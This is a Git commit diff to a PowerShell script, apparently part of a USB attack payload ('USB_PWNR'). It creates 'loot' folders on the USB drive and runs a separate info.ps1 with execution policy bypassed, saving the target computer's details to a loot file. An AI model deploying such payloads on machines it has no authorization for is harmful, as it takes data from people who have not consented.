Update run.ps1

pull/301/head
C1PH3R 2018-01-24 21:03:50 +01:00 committed by GitHub
parent 251094c92e
commit a32f333c4a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 2 deletions

View File

@ -18,12 +18,18 @@ if(!(Test-Path -Path $TARGETDIR )){
New-Item -ItemType directory -Path $TARGETDIR
}
#See if a info folder exist in loot folder. If not create one
#See if a USB_PWNR folder exist in loot folder. If not create one
$TARGETDIR = $backupDrive + "\loot\info"
if(!(Test-Path -Path $TARGETDIR )){
New-Item -ItemType directory -Path $TARGETDIR
}
#See if a info folder exist in loot folder. If not create one
$TARGETDIR = $backupDrive + "\loot\USB_PWNR"
if(!(Test-Path -Path $TARGETDIR )){
New-Item -ItemType directory -Path $TARGETDIR
}
#Create a path that will be used to make the file
$datetime = get-date -f yyyy-MM-dd_HH-mm
$backupPath = $backupDrive + "\loot\info\" + $computerSystem.Name + " - " + $datetime + ".txt"
@ -32,4 +38,4 @@ $backupPath = $backupDrive + "\loot\info\" + $computerSystem.Name + " - " + $dat
$TARGETDIR = $MyInvocation.MyCommand.Path
$TARGETDIR = $TARGETDIR -replace ".......$"
cd $TARGETDIR
PowerShell.exe -ExecutionPolicy Bypass -File info.ps1 > $backupPath
PowerShell.exe -ExecutionPolicy Bypass -File info.ps1 > $backupPath